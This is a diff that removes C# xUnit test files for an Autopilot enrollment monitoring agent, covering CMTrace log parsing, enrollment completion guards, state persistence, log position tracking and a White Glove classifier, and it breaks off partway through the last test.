public void UpdateAttemptNumber_KeepsHighest()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
Assert.True(pkg.UpdateAttemptNumber(1));
|
||||
Assert.True(pkg.UpdateAttemptNumber(3));
|
||||
Assert.False(pkg.UpdateAttemptNumber(2)); // cannot go back
|
||||
Assert.Equal(3, pkg.AttemptNumber);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateAttemptNumber_IgnoresZeroAndNegative()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateAttemptNumber(2);
|
||||
Assert.False(pkg.UpdateAttemptNumber(0));
|
||||
Assert.False(pkg.UpdateAttemptNumber(-1));
|
||||
Assert.Equal(2, pkg.AttemptNumber);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateDetectionResult_StoresLatest()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
Assert.True(pkg.UpdateDetectionResult("NotDetected"));
|
||||
Assert.Equal("NotDetected", pkg.DetectionResult);
|
||||
Assert.True(pkg.UpdateDetectionResult("Detected"));
|
||||
Assert.Equal("Detected", pkg.DetectionResult);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ToEventData_EmitsMetadataWhenSet()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateAppVersion("11.2.1787.0");
|
||||
pkg.UpdateAppType("WinGet");
|
||||
pkg.UpdateAttemptNumber(2);
|
||||
pkg.UpdateDetectionResult("Detected");
|
||||
|
||||
var data = pkg.ToEventData();
|
||||
|
||||
Assert.Equal("11.2.1787.0", data["appVersion"]);
|
||||
Assert.Equal("WinGet", data["appType"]);
|
||||
Assert.Equal(2, data["attemptNumber"]);
|
||||
Assert.Equal("Detected", data["detectionResult"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ToEventData_OmitsMetadataWhenEmpty()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
|
||||
var data = pkg.ToEventData();
|
||||
|
||||
Assert.False(data.ContainsKey("appVersion"));
|
||||
Assert.False(data.ContainsKey("appType"));
|
||||
Assert.False(data.ContainsKey("attemptNumber"));
|
||||
Assert.False(data.ContainsKey("detectionResult"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests CMTrace log format parsing used for IME log files.
|
||||
/// Prevents: timestamp parsing failures on single-digit months, fractional second overflow,
|
||||
/// crashes on non-CMTrace lines.
|
||||
/// </summary>
|
||||
public class CmTraceLogParserTests
|
||||
{
|
||||
[Fact]
|
||||
public void TryParseLine_ValidCmTrace_ParsesAllFields()
|
||||
{
|
||||
var line = "<![LOG[Starting app installation for user]LOG]!>" +
|
||||
"<time=\"14:30:45.1234567\" date=\"3-15-2026\" " +
|
||||
"component=\"IntuneManagementExtension\" context=\"\" " +
|
||||
"type=\"1\" thread=\"1234\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal("Starting app installation for user", entry.Message);
|
||||
Assert.Equal("IntuneManagementExtension", entry.Component);
|
||||
Assert.Equal(1, entry.Type);
|
||||
Assert.Equal("1234", entry.Thread);
|
||||
// Timestamp should be parsed and converted to UTC
|
||||
Assert.NotEqual(default, entry.Timestamp);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_EmptyLine_ReturnsFalse()
|
||||
{
|
||||
var result = CmTraceLogParser.TryParseLine("", out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_NullLine_ReturnsFalse()
|
||||
{
|
||||
var result = CmTraceLogParser.TryParseLine(null, out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_NonCmTrace_ReturnsFalse()
|
||||
{
|
||||
var result = CmTraceLogParser.TryParseLine(
|
||||
"2026-03-15 14:30:45 INFO This is a plain text log line", out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_SingleDigitMonth_Parses()
|
||||
{
|
||||
// Real IME logs use M-d-yyyy (no zero-padding): "2-8-2026"
|
||||
var line = "<![LOG[Test message]LOG]!>" +
|
||||
"<time=\"06:08:04.883\" date=\"2-8-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal("Test message", entry.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_LongFractionalSeconds_Truncated()
|
||||
{
|
||||
// Some IME builds emit >7 fractional digits which would cause FormatException
|
||||
var line = "<![LOG[Test]LOG]!>" +
|
||||
"<time=\"14:30:45.12345678901\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.NotNull(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_NoFractionalSeconds_Parses()
|
||||
{
|
||||
var line = "<![LOG[Test]LOG]!>" +
|
||||
"<time=\"14:30:45\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_WarningType_ParsesType2()
|
||||
{
|
||||
var line = "<![LOG[Warning message]LOG]!>" +
|
||||
"<time=\"14:30:45.123\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"2\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal(2, entry.Type);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_MessageWithSpecialChars_Parses()
|
||||
{
|
||||
// Messages can contain brackets, quotes, and XML-like content
|
||||
var line = "<![LOG[Get policies = [Status: Success]]LOG]!>" +
|
||||
"<time=\"14:30:45.123\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal("Get policies = [Status: Success]", entry.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_PartialCmTracePrefix_ReturnsFalse()
|
||||
{
|
||||
// Starts with <![LOG[ but doesn't complete the format
|
||||
var result = CmTraceLogParser.TryParseLine("<![LOG[incomplete", out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,210 +0,0 @@
|
||||
using System;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
public class CompletionGuardsTests
|
||||
{
|
||||
// ===== Hello Resolution Guard =====
|
||||
|
||||
[Fact]
|
||||
public void HelloGuard_NoTracker_ReturnsResolved()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsHelloResolved(
|
||||
hasTracker: false, isHelloCompleted: false,
|
||||
isPolicyConfigured: false, isDeviceOnly: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HelloGuard_HelloCompleted_ReturnsResolved()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsHelloResolved(
|
||||
hasTracker: true, isHelloCompleted: true,
|
||||
isPolicyConfigured: true, isDeviceOnly: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HelloGuard_PolicyNotConfigured_ReturnsResolved()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsHelloResolved(
|
||||
hasTracker: true, isHelloCompleted: false,
|
||||
isPolicyConfigured: false, isDeviceOnly: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HelloGuard_DeviceOnly_ReturnsResolved()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsHelloResolved(
|
||||
hasTracker: true, isHelloCompleted: false,
|
||||
isPolicyConfigured: true, isDeviceOnly: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HelloGuard_PolicyConfigured_HelloPending_ReturnsPending()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsHelloResolved(
|
||||
hasTracker: true, isHelloCompleted: false,
|
||||
isPolicyConfigured: true, isDeviceOnly: false));
|
||||
}
|
||||
|
||||
// ===== ESP Gate Guard =====
|
||||
|
||||
[Fact]
|
||||
public void EspGate_DesktopArrival_EspActive_V1_Blocks()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsEspGateBlocking(
|
||||
source: "desktop_arrival", enrollmentType: "v1",
|
||||
espEverSeen: true, espFinalExitSeen: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void EspGate_DesktopHello_EspActive_V1_Blocks()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsEspGateBlocking(
|
||||
source: "desktop_hello", enrollmentType: "v1",
|
||||
espEverSeen: true, espFinalExitSeen: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void EspGate_DesktopArrival_EspExited_Passes()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsEspGateBlocking(
|
||||
source: "desktop_arrival", enrollmentType: "v1",
|
||||
espEverSeen: true, espFinalExitSeen: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void EspGate_DesktopArrival_V2_Passes()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsEspGateBlocking(
|
||||
source: "desktop_arrival", enrollmentType: "v2",
|
||||
espEverSeen: true, espFinalExitSeen: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void EspGate_NonDesktopSource_Passes()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsEspGateBlocking(
|
||||
source: "esp_hello_composite", enrollmentType: "v1",
|
||||
espEverSeen: true, espFinalExitSeen: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void EspGate_EspNeverSeen_Passes()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsEspGateBlocking(
|
||||
source: "desktop_arrival", enrollmentType: "v1",
|
||||
espEverSeen: false, espFinalExitSeen: false));
|
||||
}
|
||||
|
||||
// ===== Hybrid Reboot Gate Guard =====
|
||||
|
||||
[Fact]
|
||||
public void HybridRebootGate_NonHybrid_Passes()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
|
||||
isHybridJoin: false, source: "esp_hello_composite",
|
||||
imePatternSeenUtc: null, espFinalExitUtc: DateTime.UtcNow.AddMinutes(-5),
|
||||
agentStartTimeUtc: DateTime.UtcNow.AddMinutes(-10)));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HybridRebootGate_NonCompositeSource_Passes()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
|
||||
isHybridJoin: true, source: "ime_pattern",
|
||||
imePatternSeenUtc: null, espFinalExitUtc: DateTime.UtcNow.AddMinutes(-5),
|
||||
agentStartTimeUtc: DateTime.UtcNow.AddMinutes(-10)));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HybridRebootGate_Hybrid_NoIme_NoRestart_Blocks()
|
||||
{
|
||||
var espExitTime = DateTime.UtcNow.AddMinutes(-5);
|
||||
var agentStartBeforeEspExit = espExitTime.AddMinutes(-10);
|
||||
|
||||
Assert.True(CompletionGuards.IsHybridRebootGateBlocking(
|
||||
isHybridJoin: true, source: "esp_hello_composite",
|
||||
imePatternSeenUtc: null, espFinalExitUtc: espExitTime,
|
||||
agentStartTimeUtc: agentStartBeforeEspExit));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HybridRebootGate_Hybrid_ImeCompleted_Passes()
|
||||
{
|
||||
var espExitTime = DateTime.UtcNow.AddMinutes(-5);
|
||||
var agentStartBeforeEspExit = espExitTime.AddMinutes(-10);
|
||||
|
||||
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
|
||||
isHybridJoin: true, source: "esp_hello_composite",
|
||||
imePatternSeenUtc: DateTime.UtcNow.AddMinutes(-1),
|
||||
espFinalExitUtc: espExitTime,
|
||||
agentStartTimeUtc: agentStartBeforeEspExit));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HybridRebootGate_Hybrid_AgentRestartedAfterEspExit_Passes()
|
||||
{
|
||||
var espExitTime = DateTime.UtcNow.AddMinutes(-10);
|
||||
var agentStartAfterEspExit = espExitTime.AddMinutes(5);
|
||||
|
||||
Assert.False(CompletionGuards.IsHybridRebootGateBlocking(
|
||||
isHybridJoin: true, source: "esp_hello_composite",
|
||||
imePatternSeenUtc: null, espFinalExitUtc: espExitTime,
|
||||
agentStartTimeUtc: agentStartAfterEspExit));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HybridRebootGate_Hybrid_EspExitUtcNull_Blocks()
|
||||
{
|
||||
// Edge case: hybrid join, composite source, no ESP exit recorded
|
||||
// agentRestartedAfterEspExit = false (espFinalExitUtc is null)
|
||||
Assert.True(CompletionGuards.IsHybridRebootGateBlocking(
|
||||
isHybridJoin: true, source: "esp_hello_composite",
|
||||
imePatternSeenUtc: null, espFinalExitUtc: null,
|
||||
agentStartTimeUtc: DateTime.UtcNow));
|
||||
}
|
||||
|
||||
// ===== Device-Only Deployment Classification =====
|
||||
|
||||
[Fact]
|
||||
public void IsDeviceOnly_SelfDeploying_True()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsDeviceOnlyDeployment(
|
||||
autopilotMode: 1, skipUserStatusPage: null, aadJoinedWithUser: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDeviceOnly_SkipUserNoAadUser_True()
|
||||
{
|
||||
Assert.True(CompletionGuards.IsDeviceOnlyDeployment(
|
||||
autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDeviceOnly_SkipUserWithAadUser_False()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsDeviceOnlyDeployment(
|
||||
autopilotMode: 0, skipUserStatusPage: true, aadJoinedWithUser: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDeviceOnly_UserDriven_NoSkip_False()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsDeviceOnlyDeployment(
|
||||
autopilotMode: 0, skipUserStatusPage: false, aadJoinedWithUser: false));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDeviceOnly_UnknownMode_SkipUserNull_False()
|
||||
{
|
||||
Assert.False(CompletionGuards.IsDeviceOnlyDeployment(
|
||||
autopilotMode: null, skipUserStatusPage: null, aadJoinedWithUser: false));
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
-221
@@ -1,221 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests state serialization round-trip including all fields.
|
||||
/// Prevents: state loss after crash (IsHybridJoin, signal timestamps, SignalsSeen),
|
||||
/// crashes on missing/corrupt state files.
|
||||
/// </summary>
|
||||
public class EnrollmentStatePersistenceTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
private readonly EnrollmentStatePersistence _persistence;
|
||||
|
||||
public EnrollmentStatePersistenceTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-test-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
_persistence = new EnrollmentStatePersistence(_tempDir, TestLogger.Instance);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(_tempDir))
|
||||
Directory.Delete(_tempDir, recursive: true);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_RoundTrip_PreservesAllBooleans()
|
||||
{
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
EspEverSeen = true,
|
||||
EspFinalExitSeen = true,
|
||||
DesktopArrived = true,
|
||||
IsWaitingForHello = true,
|
||||
EnrollmentCompleteEmitted = false,
|
||||
AadJoinedWithUser = true,
|
||||
IsHybridJoin = true,
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.True(loaded.EspEverSeen);
|
||||
Assert.True(loaded.EspFinalExitSeen);
|
||||
Assert.True(loaded.DesktopArrived);
|
||||
Assert.True(loaded.IsWaitingForHello);
|
||||
Assert.False(loaded.EnrollmentCompleteEmitted);
|
||||
Assert.True(loaded.AadJoinedWithUser);
|
||||
Assert.True(loaded.IsHybridJoin);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_IsHybridJoin_Preserved()
|
||||
{
|
||||
var state = new EnrollmentStateData { IsHybridJoin = true };
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.True(loaded.IsHybridJoin);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_AllTimestamps_Preserved()
|
||||
{
|
||||
var now = DateTime.UtcNow;
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
EspFirstSeenUtc = now.AddMinutes(-10),
|
||||
EspFinalExitUtc = now.AddMinutes(-5),
|
||||
DesktopArrivedUtc = now.AddMinutes(-3),
|
||||
HelloResolvedUtc = now.AddMinutes(-2),
|
||||
ImePatternSeenUtc = now.AddMinutes(-1),
|
||||
DeviceSetupProvisioningCompleteUtc = now,
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.NotNull(loaded.EspFirstSeenUtc);
|
||||
Assert.NotNull(loaded.EspFinalExitUtc);
|
||||
Assert.NotNull(loaded.DesktopArrivedUtc);
|
||||
Assert.NotNull(loaded.HelloResolvedUtc);
|
||||
Assert.NotNull(loaded.ImePatternSeenUtc);
|
||||
Assert.NotNull(loaded.DeviceSetupProvisioningCompleteUtc);
|
||||
// Allow 1 second tolerance for serialization round-trip
|
||||
Assert.InRange(loaded.EspFirstSeenUtc.Value, now.AddMinutes(-10).AddSeconds(-1), now.AddMinutes(-10).AddSeconds(1));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_SignalsSeen_Preserved()
|
||||
{
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
SignalsSeen = new List<string>
|
||||
{
|
||||
"esp_first_seen",
|
||||
"esp_final_exit",
|
||||
"desktop_arrived",
|
||||
"hello_completed",
|
||||
"esp_resumed"
|
||||
}
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.Equal(5, loaded.SignalsSeen.Count);
|
||||
Assert.Contains("esp_resumed", loaded.SignalsSeen);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_EnrollmentConfig_Preserved()
|
||||
{
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
LastEspPhase = "AccountSetup",
|
||||
EnrollmentType = "v1",
|
||||
SkipUserStatusPage = true,
|
||||
SkipDeviceStatusPage = false,
|
||||
AutopilotMode = 1,
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.Equal("AccountSetup", loaded.LastEspPhase);
|
||||
Assert.Equal("v1", loaded.EnrollmentType);
|
||||
Assert.True(loaded.SkipUserStatusPage);
|
||||
Assert.False(loaded.SkipDeviceStatusPage);
|
||||
Assert.Equal(1, loaded.AutopilotMode);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Load_MissingFile_ReturnsNull()
|
||||
{
|
||||
var tempDir2 = Path.Combine(Path.GetTempPath(), "autopilot-test-empty-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(tempDir2);
|
||||
try
|
||||
{
|
||||
var persistence = new EnrollmentStatePersistence(tempDir2, TestLogger.Instance);
|
||||
var loaded = persistence.Load();
|
||||
|
||||
Assert.Null(loaded);
|
||||
}
|
||||
finally
|
||||
{
|
||||
Directory.Delete(tempDir2, true);
|
||||
}
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Load_CorruptJson_ReturnsNull()
|
||||
{
|
||||
// Write corrupt JSON directly
|
||||
File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "{ corrupt json !!!");
|
||||
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.Null(loaded);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Load_EmptyFile_ReturnsNull()
|
||||
{
|
||||
File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "");
|
||||
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.Null(loaded);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Delete_RemovesFile()
|
||||
{
|
||||
var state = new EnrollmentStateData { EspEverSeen = true };
|
||||
_persistence.Save(state);
|
||||
Assert.True(File.Exists(_persistence.StateFilePath));
|
||||
|
||||
_persistence.Delete();
|
||||
|
||||
Assert.False(File.Exists(_persistence.StateFilePath));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Delete_NoFile_DoesNotThrow()
|
||||
{
|
||||
// Should not throw when no file exists
|
||||
_persistence.Delete();
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Save_CreatesDirectory()
|
||||
{
|
||||
var nestedDir = Path.Combine(_tempDir, "nested", "subdir");
|
||||
var persistence = new EnrollmentStatePersistence(nestedDir, TestLogger.Instance);
|
||||
|
||||
persistence.Save(new EnrollmentStateData { EspEverSeen = true });
|
||||
|
||||
Assert.True(File.Exists(persistence.StateFilePath));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,127 +0,0 @@
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests incremental log file reading: position tracking, rotation detection, and crash recovery.
|
||||
/// Prevents: missed log entries after rotation, duplicate event emission after restart.
|
||||
/// </summary>
|
||||
public class LogFilePositionTrackerTests
|
||||
{
|
||||
[Fact]
|
||||
public void GetSafePosition_NewFile_ReturnsZero()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 5000);
|
||||
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetSafePosition_NormalGrowth_ReturnsSavedPosition()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\test.log", 1000);
|
||||
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 2000);
|
||||
|
||||
Assert.Equal(1000, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetSafePosition_FileRotation_ResetsToZero()
|
||||
{
|
||||
// File shrunk (rotation) — must restart from beginning
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\test.log", 5000);
|
||||
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 500);
|
||||
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPosition_UnknownFile_ReturnsZero()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
|
||||
var pos = tracker.GetPosition(@"C:\logs\unknown.log");
|
||||
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SetPosition_ThenGetPosition_ReturnsCorrectValue()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\test.log", 42);
|
||||
|
||||
Assert.Equal(42, tracker.GetPosition(@"C:\logs\test.log"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RestorePosition_SetsCorrectState()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000);
|
||||
|
||||
// Position restored — should return saved position when file is larger
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 6000);
|
||||
Assert.Equal(3000, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RestorePosition_ThenRotation_ResetsToZero()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000);
|
||||
|
||||
// File rotated — smaller than restored position
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 100);
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetAllPositions_ReturnsDefensiveCopy()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\a.log", 100);
|
||||
tracker.SetPosition(@"C:\logs\b.log", 200);
|
||||
|
||||
var positions = tracker.GetAllPositions();
|
||||
|
||||
Assert.Equal(2, positions.Count);
|
||||
// Modifying returned dict should not affect tracker
|
||||
positions.Clear();
|
||||
Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void CaseInsensitive_SameFileDifferentCase()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\Logs\Test.log", 500);
|
||||
|
||||
var pos = tracker.GetPosition(@"C:\logs\test.log");
|
||||
|
||||
Assert.Equal(500, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void MultipleFiles_IndependentTracking()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\a.log", 100);
|
||||
tracker.SetPosition(@"C:\logs\b.log", 200);
|
||||
|
||||
Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log"));
|
||||
Assert.Equal(200, tracker.GetPosition(@"C:\logs\b.log"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,269 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
public class WhiteGloveClassifierTests
|
||||
{
|
||||
// =====================================================================
|
||||
// Zero / None baseline
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_AllSignalsOff_ReturnsNone()
|
||||
{
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals());
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
|
||||
Assert.Equal(0, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
Assert.Empty(result.ContributingFactors);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Single-signal behaviour (the core bugfix)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_ShellCoreAlone_IsStrong()
|
||||
{
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
});
|
||||
|
||||
